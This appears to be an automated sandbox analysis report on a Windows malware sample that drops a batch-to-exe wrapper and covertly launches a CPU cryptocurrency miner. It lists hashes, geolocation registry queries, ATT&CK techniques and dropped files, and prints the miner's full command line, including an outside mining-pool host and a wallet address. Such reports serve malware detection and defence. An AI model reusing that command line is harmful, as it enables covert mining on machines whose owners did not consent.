73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 01:06

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
3260	b2e.exe
4660	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe
4660	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1852-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 3260	1852	batexe.exe	88
PID 1852 wrote to memory of 3260	1852	batexe.exe	88
PID 1852 wrote to memory of 3260	1852	batexe.exe	88
PID 3260 wrote to memory of 3276	3260	b2e.exe	89
PID 3260 wrote to memory of 3276	3260	b2e.exe	89
PID 3260 wrote to memory of 3276	3260	b2e.exe	89
PID 3276 wrote to memory of 4660	3276	cmd.exe	92
PID 3276 wrote to memory of 4660	3276	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Users\Admin\AppData\Local\Temp\569C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\569C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\569C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5B6E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\569C.tmp\b2e.exe

Filesize
16.1MB

MD5
88b966baff0f71f128d342babc5aa0df

SHA1
8f11f866630b1f6f414b3d9a6cf8da2dffe03995

SHA256
9650877f224c52b53c2241ec6941b896e0cfb408924a69293f8b4a2c02081f41

SHA512
4f90414b9fa5d0d2e37976d1647b4b67e0444572473ec5c0392c12fd0dea12f28bdd3f711af1e686f0ab4b158c9097e127f61ac1ccd1727cc364e8dbe6dd1d8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\569C.tmp\b2e.exe

Filesize
5.4MB

MD5
4fa57fa224aac9b7af8eae34d0d850c6

SHA1
fb8d133ed891072088578692999733a136a550c1

SHA256
07c022ac8c2efefdb0c766967f5f074671770b19038c286625653e60bccdf10e

SHA512
f9c467492dca3645d251b65e9ff7fba44426b3096600dd8ade82b1b614c16d597ef11a9e29e5df63606704134ae54205ecf37da91027405b017979d07fb28aa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\569C.tmp\b2e.exe

Filesize
3.6MB

MD5
a202c43df284047b4026052f2015b382

SHA1
531129cc3cff7410080574b0fd1f8404c8c343d6

SHA256
22e0189ee48633fcbb780d8ce081c027adcfd289ce6b90e0dddf506b78a59a66

SHA512
03192f196ccd2100255c1fad56bd14019876f87509f7215f1af469e93a9e4a8686d7bd18a1273d46e05711d1017a87948b4299a6d4597fa66001b29ee310cea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\5B6E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
256KB

MD5
e0c023f2dc80d8f2415830dcaf9b9e45

SHA1
9806d1f4bd0f76e044071f95f9210b09c2c09fd0

SHA256
dc7de4210ed002ed6ab8340d21f999fd77ff9c1fe4361227ebbe3324b24009a0

SHA512
76d594de32b07899a478e6b1fbe4a158492174439df3a65478b21135aea9695f47cd6b5006d1bb28398fb1b1f0e64f33e839ae16225fe755bcec4d25d3caf0ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
42KB

MD5
8e156f809ab599c49b91b6f01e1d9a03

SHA1
0c06de264beb8ae5dc259c81d0c01e413933e68e

SHA256
373a94c1bb30ab08b6a7dc9ff1f3d603f8d90c3204856aaae6096ba35e7b1b89

SHA512
df27a7ea26a35836cfc48e70421890e762c36996983e209994dda908d71fe06ce2c39d42b5d1c4f18ab9ae9e44e5baf930db4d8ced7d40285ad4fed239811441

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
14KB

MD5
5c37dcf3e37dbc99177c5bcf977be61c

SHA1
44b8d5a15e30792b04ebbcd38b18779b66b5c07e

SHA256
29d05cc85bfba5e047fa07d67fd4832259ed2cd8e651e1d0719d6d1fe4ab1c5c

SHA512
7653829956b1e040b59d78d1b8d3efae81a65c906be1a5538d0ec6167af3fce5f0cfeaa506290d3ab23d192ff971a408c5b4a74736c83ba3ee9e6faa6b611d7d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1852-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3260-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3260-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4660-45-0x0000000072700000-0x0000000072798000-memory.dmp

Filesize
608KB

Download
memory/4660-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4660-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/4660-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4660-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download